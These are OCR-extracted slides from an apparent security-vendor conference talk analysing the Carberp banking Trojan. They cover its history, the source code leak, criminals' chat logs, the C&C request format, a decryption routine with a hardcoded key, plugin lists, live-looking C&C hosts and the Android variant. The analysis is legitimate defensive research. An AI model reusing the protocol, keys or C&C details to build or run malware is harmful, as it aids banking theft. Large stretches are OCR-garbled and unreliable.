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4 Core features:

59 ABanking Trojano definition:
specific information stealing

4 Carberp is a banking Trojan in a strict sense

5 Remote Banking Interfaces:

5 Web pages (attacked through Man-in-the-Browser, both form
grabbing and webinjects). Many banks targeted.

4 Executable interfaces (specific plugins; hooked
EnumChildProcesses with GetWindowText involved); iIFOBS
banking system; online traders.

4 Java interfaces (modifying payment modules on-the-fly)
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Introduction

Carberp as a mainstream Trojan:

NCy berioRussmelrendsandi ssueso, CARO
Workshop 2011

A T MCarberp crimekit and the reshippingi nci dent o0,
Bulletin, 2012

fCarberp Evolution and BlackHole: Investigation Beyond the
Event Horizono, CARO Wor kshop 2012

N Tar gattdclsdn Russianbankso, CARO Wor i
2013

(academic paper
Mal ware anal ysi
University of Amsterdam, 2013
AnDi ssecting Rarlelpdo ngRIAoOkEwamope,
(the first talk after the leak of source code)

) Dol m@anberp R. , K
sn, System and
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4 The story:
5 The first appearance in autumn 2010
3

The split into two main branches in spring 2011 (RC2 resp.
RC4 communication protocol)

5 Arrest of a group of cybercriminals in March 2012 (RC4
branch ended)

4 Carberp in Android in December 2012
5 Arrest of the second group of cybercriminals in April 2013
(RC2 branch faded away)
4 The leak of Carberp source code in June 2013
4 New C&C servers seen alive in September/October 2013
RSACONFERENCE

-
EUROPE 2013 W #Rrsac avast!




4 Number of observed C&C domains
4 ~80 domains for the initial version
4 ~60 domains for the RC4 branch
5 ~800 domains for the RC2 branch (still alive)

4 Estimate of distribution based on telemetry:

Y
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The Carberp Leak

The Carberp leak (June 2013):
Unpacked ~5,8 GB
Source code validates previously published analyses

Contains not only the source code, but also screenshots,
communication and debug logs, etc.

Source code related to other Trojans (ZeuS, Rovnix )

Malware tools (SpyEye, RDPDoor, Stoned bootkit
framework/Sinowal/Mebload, BlackEnergy/Phdet,
Olmarik/Alureon)

Cryptors (Mystic Compressor)
Most of targeted RBIs
Log of network traffic from 20" April 2012
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4 Conversation log: (1/2)

npueeT

BanenTuH (13:37:55 8/03/2013)
A 3anun Ha TN B nanky bitcoin gnnky

BaneHTuH (13:38:09 8/03/2013)
B 0bLWem nges Takas

BanexTuH (13:38:56 8/03/2013)
6ot ckauneaeT 1 pacnakoebieaeT hitp://ck kolivas.org/apps/cgminer/cgminer-2.10.5-
win32.7z

BaneHTuH (13:39:07 8/03/2013)
nyJlle HaBepPHOE U3 aAMUHKM Ero KaqaTb B Kabe

BaneHTuH (13:39:36 8/03/2013)
pacnakoBbIBaeT Ha AUCK Kyga-HuDyap, HanpuMep kak 0BeluHo B nanky appdata

BanexTuH (13:39:59 8/03/2013)
Janblue ckauuBaeT 3Ty AN ToXe NNariHoM U 3anyckaeT B NaMaTy

BaneHTuH (13:40:46 8/03/2013)
B ANN HaAo nepefarth CNWCOK AOMEHOB, koTopblid 6bin BlLKT B BoTa Bungepom, Haao
OTAenbHbLIM CMIMCKOM 3TO CAenaThb B bungepe

BanexTuH (13:41:14 8/03/2013)
1 NepefaeT NyTb 4O Nanku C pacnakoBaHHbIM MaiiHepoM
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Valentine ( 03/08/2013 13:37:55)
| filled in a folder on FTP bitcoin dllku

Valentine ( 03/08/2013 13:38:09 )
in general, the idea of such a

Valentine ( 03/08/2013 13:38:56 )
bot downloads and unpacks http://ck.kolivas.org/apps/cgminer/cgminer-2.10.5-
win32.7z

Valentine ( 03/08/2013 13:39:07 )
probably better to download it from the admin area in cables

Valentine ( 03/08/2013 13:39:36 )
decompresses the disk somewhere , such as is usual in the folder appdata

Valentine ( 03/08/2013 13:39:59 )
then download this dll plugin and also runs in memory

Valentine ( 03/08/2013 13:40:46 )
dll should be transferred to the list of domains that was sewn into the bot Builder, it is
necessary to make a separate list is in bildere

Valentine ( 03/08/2013 13:41:14 )
and passes the path to the folder with the unpacked miner




5 Conversation log: (2/2)

BanentuH (14:10:33 8/03/2013)
"c:\miner\cgminer.exe"

BanentuH (14:13:53 8/03/2013)

BOT 3TOro MaliHepa Hago caenaTb 40 KOHUa Hegenu, a To Yen KTo 3akasan GygeT Ha
MEHS OYeHb 3MUTLCA, yeneewwb?

BanentuH (14:15:42 8,
eLle MOMEHT TaKoW, Me
BUAEOKaAPTON, NO3TOMY

e @qip.ru (14

0K, 3a cybboTy-BOCKDE!

Valentine ( 03/08/2013 14:10:33 )
"c: \ miner \ cgminer.exe"

Valentine ( 03/08/2013 14:13:53 )

miner 's this have to do before the end of the week, and then the people who ordered
will be very angry at me , have time ?

Valentine ( 03/08/2013 14:15:42 )

even a moment , a miner works only on a computer with a normal video card , so do
not start virtualke

IR C) qip.ru (14:56:12 8/03/2013)
OK, for Saturday and Sunday do
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4 Debugging process: (1/2

APM "Kawent” AC "Kanenr-Che pbank™

T OTnpaeneHo k

Moanuce owMEKK

AppName: weint.exe AppVer. 7.12.5.2225 ModName: unknown
Modver: 0.0.0.0  Offset: 1000250c

CeegeHua of oTyere
Otyer 06 owubke coaepxkut ceeaeHua o cocToanud APM "Kauent" AC "Kauenr-CéepSaHk' npu
BOSHUKHOBEHWW OWMEKM, BEPCUW ONEPaUMOHHOI CUCTEMBI U 060pYA0BaHUM, HOMED NPOAYKTA,
KOTOPBINA MOKET GbiTb MCMNOAB30BaH AR ONPEAENEHUA AMUEH3UM, a Takske IP-aapec KomMnbloTepa.

Mbl He coBUpaEM YMBILUAEHHO BALUW Paiinkl, UMA, AAPEC W AGBIE APYrke AWYHBIE AaHHbIE. DaHaKko
OTYET 06 OWMOKE MOKET CONEPKATE TaKWEe CEEAEHWURA, HaNPUMED U3 OTKPBITbIX haiNos. XOTA 3TH
CBEAEHUA MOryT GbiTb NOTEHUMANEHO UCNOAb30BaHE! A4 YCTSHOBAEHWA BALEN AMYHOCTH, B CAYYaE
WX NPUCYTCTEUA B OTYETE OHWM MCMONB30BATECA HE GyayT.

CofpaHHbie gaHHbIE UCMOAB3YIOTCA TOABKO AAA YCTPaHeHUA Henonaaku. Mmewwueca
AOMNOAHUTENBHEIE CEEAEHWA GYAYT BBIAAHEI NOCAE OTNPaBKM oTyeTa. OTyer oTnpaendeTca no
33U EHHOMY KaHany B 633Y AaHHBIX © OFPaHWYEHHBIM 4OCTYNOM W HE UCMOABSYETCA B
KOMMEPYECKUWE LENA.

115 NPOCMOTPa TEXHWYECKUR CBEAEHWIT 0f OTYETE {EAKHUTE 306Ck:
InA NnpocMoTpa NoAWTHKK ctopa AaHHbIX B MHTEepHeETE  WenkHUTe 3aeck. 3aKpefe

extOuti hook ok.
T - extOutlW hook ok.
86 600.37603?60[3816] Sber(0) [ ] : EnumPrintersi hook ok.
87 600.38665771 [3816] Sber(0) [ 1 : GetSaveFileNamed hook ok.
88 600.39367676 [3816] Sber(0) [ 1 : GetOpenFileNamei hook ok.
89 600.39599609 [3816] Sber(0) [ ] : nuwem Buguo.
90 600.39984131 [3816] VIDEO(0) [ 1 : StartRecordThread
91 600.41595459 [3816] VIDEO{O) [ ] : Bce noayyuau, menepe cmnapmnyeM Buge
.58959961 [3816] VIDEQ(OD) [ 1 : caame gaHme
.59606934 3816 VIDEO( O . Bce zomoBo szanycraemM
E, b27.59692 3 [3816]1 =tart send folder
95 ?07.86682129[3816] end send folder
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| %] GetDirs.DLL
|2} ImpBorl.DLL
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ST - S o4
< Q @ xp (Olly Error 2) [PaboTaeT] - Oracle VM VirtualBox

TEaGaEds] Lo ETH
omdGdGdd| S5 FLSH EBF
SEdGaE4E| SBEC HOL EBP, ESP £
cEdGacaT| GIEC 14 SUB ESP, 14 Eq poomaes
omdadz4n| Se FUSH Esi Eo
4E| BE £RER438@ MOU ESI, tet.@B436R668 |
S T Ecr iEiEEag
tst.
ESI BE4ZEAGE tot.OR436R60
4G4356| 59 FOF_ECH
EOl Poapacma
=7| gaca TEST AL,AL
4095t -BESd pEmmEmER | JE bor.h . BE4E4T 1A EIF BB4B48AS t=t.B04043AS
C B ES B@23 S2hit @ FFFFEFFE]
4G4Gea| 57 FOSH EnT :
E5 cADEA1EE CALL t=t.B0421E08 £Lo2E ERlE =i SEEEEEEEEE
EhaEl e FBOTDMORD PTR S5: CEEP—41, EA% 2 BEogoes Sepin glEEEEEEE
: . £ 5 FE Bess EbiT ZRFRTEGRIFER
ES GR4bamaa CALL tot.ARdaasyh 2o EfoEEEs el
72| E5IE Fe EHBHDBHgEDFﬁ;RSgSEEEP 183, b
2
0 8 LastErr ERROR_SUCCESS (90900808)
72| ER Zivoeiea CALL t=t. o@diBan
cre| es FOSH Tor:BB4sE1ns ASCIT ™ditmdoHk™ EFL BEABAZAE (MO, ME,ME,A, NS, FE, GE, )
FE7S Fia FUSH DWORD FTR_5%: [EBF—1@1 B
5345 Fa HOL OWORD FTR S5: [EBF-21,EAX e
8045 Fi LEA ER%, OWORD PTR S5:[EBF-21 S1L Emery 2ed
FE7s Fe FUSH BubRo PTR So: CEBRP-43 SIS erpty 8.8
: 5T4 empty B.8
fEaGazan| ES 1EG]G@E@ CALL t=t.AO4aRoEsa ard emety 2-2
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Communication Protocol

A typical POST request:

POST
/kmgkcicalxrntrngwdxjyxztxcqkoyjnbdoafgirgnwwvpcjgglu
vha.phtm HTTP/1.1

Accept: */*UserAgent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET ¢
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.307:
Host: caaarrp2.ru

Connection: close

ContentType: application/sswww-form-urlencoded
ContentLength: 60

Content:

kfg=u%2FFPGlelmmXBEb3mG5VomEQE9ivVw2uh550c
LogWfJkbTeN%3D

FHOMEEE
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Communication Protocol

Steps of decryption:
Substitution to unsafe characters:

kfg=u/FPGlelImmXBEb3mG5VomEQqE9ivVw2uh550qE 1k
WifJIkbTeN=

Extraction of a cryptographic salt for RC2:
u/FP+bTeN
Extraction of an encrypted message:
GlelmmXBEb3mG5VomEQE9ivvVw2uh550qE1K2LogWA.
Debase64 and RC2 decryption with a hardcoded key
(optional) a custom algorithm for data containing a header
beginning with fABJBO
Result:
botuid=<prefixor KI 84K 2F GAOGAYQa SYODGANRYYS

FENOMEEE



4 Custom BJB algorithm:

unsigned int decryptBIB({uint8_t* auBKey, uintB8_t* auBCipher, uint32_t u32Datalen

{
unsigned int j3
uint8_t v4;
int i;
j=8;
if ( u32Datalen )
{
do
{
wid = ¥guBKey;
for ( i = @; vd; ++i )
{
auBCipher[j] *= w4 + i * §;
vd = auBKey[i + 1];
}
++3;
}
while ( § < u32Datalen );
}
return Jj;
}
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Key
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39

Cipher:

Plain:

Ox7C
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39

0x1B
0x31
0x33
0x35
0x37
0x39
0x3b
0x3d
Ox3f

0x41

OxA9
0x31
0x34
0x37
O0x3A
0x3D
0x40
0x43
0x46
0x49

0x4D5 Wa O0x6AS WY20x60

)




Payload encrypted in BJB format:

gaBaBAa80e:
gepeep10:
B00080620:
fa00Ba30:
faB0BaLe:
f000Bes0:
BaBava6a:
ﬂﬂﬂﬂﬂﬂ?ﬂ:

BJB header structure (data follow):

89 4 79 91 F1
31 41 B2 D1 F1
B1 C1 F? 11 31
3F SE 83 SF B1

1132 33 34 35 36 37 38 39

D1 F? B1|C1 61 89 B1 C1 31 290 N
D1 B? 71|61 61 69 71 61 31 89 B1
11 79 B1|C1 21 89 21 F9 31 29 N
25 B@ 3C|Ce 99 28 3D AC 98 1D 59

58 32 59 E1 83 3E 1E 43|68 8C A9 D2 28 5F 47 SE

45 61 DB B4 M1

A3 4C 9F|C1 B8 A7 51 25 7E 5 M

DC AE 9D ¥4 1F 1C F4 3B|ES 21 89 31 61 31 29 N1

typedef struct HEADERBJB

{

char au8Magic[3]k kK Q. W. Q

uint32_t u32KeySizé/length of au8Key

uint8_t au8Key|0]

%
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Communication Protocol

BJB. 1234546789
| -EQ249qe~B©qZNE1
2y ARGxhazed1)1
1nqﬂnﬂqqaalqa1 +
+nud1dy+ﬂ' 14131
?2° %R (==Y

X2va>.ciSeN 6"
Eall ﬂkLGc-uz”z
iert..6;ir.1.1)1

o avast!’
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Communication Protocol

The file wndsksi.inf contains a list of available plugins

After decryption using BJB algorithm with a hardcoded
key nGDlIlet64E0 (example froc

RtIExt.plug|vXdwV89SFZ1hs.tiff
addtrust.plug|zG3ktXgcVbNKhR5v1Snw48H7pxmZBQTr.
bki.plug|grlz4v8TV.psd
bot.plug|zlyZx0aVGDmMHFWNQ29AXKSMbncp.bmp
btc.plug|vcCQPTWmMrDRGKX0aNAz6dZkSMpxs1tw.tiff
btcm.plug|rnSfcRNw5j1WZgDzG76.tiff
ddos.plug|kXJjfYCGmKHbDhaw2Mc7ANXy.tiff
fdi.plug|xd73TpG41c.psd
IFOBS.plug|kvrzQg3nTdJKDx2ZPMYfCB.bmp
rdp.plug|GQcTzqgS9Y 1CIBtpHPNnKvkRa.tiff
sb.plug|GQpgOVs94vdx.tiff
vnc.plug|dsN6QSHYMPb3gZg7zv5tlrGF8JfW2nh.tiff

be free



4 Early evolution of plugin support:

Aug 2011 ‘passw.plug

ﬁ -
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Mar 2012




4 Recent evolution of plugin support:

inj_x86.dll

Dec 2012

v

Feb 2013

btem.plug
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ammy.plug

rdp.plug

ifobs.plug

rtlext.plug

iphlpapi.dil




Evolution of Functionality

Carberp for Android (Cltmo)

@ 5554wirtual_android

WIDGETS

APl Demos Browser Calculator Calendar / ¥\

© # F

Clock Custom Dev Settings
Locale

3 &

Dev Tools Downloads Gestures
Builder

’ \
Y

Hardware Keyboa
Use your physucal keyhoard to provide input

Messaging

-
l-l

Settings Speech
Recorder
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@ 5554wirtual_android

4EFII

m_ﬁm@

Hardware Buttol
BeeguTte HoMep TenedboHa:

123456789

Do authorization

eyboard
LI v ph)l cal keyboard to provide input

S

CbEPBAHK

Bcer Ad PAAOM

o avast!’
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Evolution of Functionality

Carberp for Android (Android:Citmo, December 2012):

Extending fraudulent activities to mobile devices (multi-
factor authentication)

Contacting the gate url in the form of the first Carberp group
(RC4, the keyword e in the path replaced with m)

http://berstaska.comm/fol125kepro
http://berstaska.comim/as225kerto

SberSafe, VkSafe, AlfaSafe application
Removed from Google Play in a short time
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5 vnc.plug
4 drops a user mode rootkit
4 x86 resp. x64 version called tmpl.exe, resp. tmp2.exe

5 tmpX.exe

4 Executes a new instance of svchost.exe
4 Injects an intermediate malicious thread into svchost.exe

4 The intermediate thread enumerates all running processes and
injects threads into them, which install APl hooks hiding a secret
desktop

4 PIDs of infected processes stored in mutex objects
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5 vnc.plug 1 process listening at port 5900

4 RFB (remote framebuffer) protocol signature:
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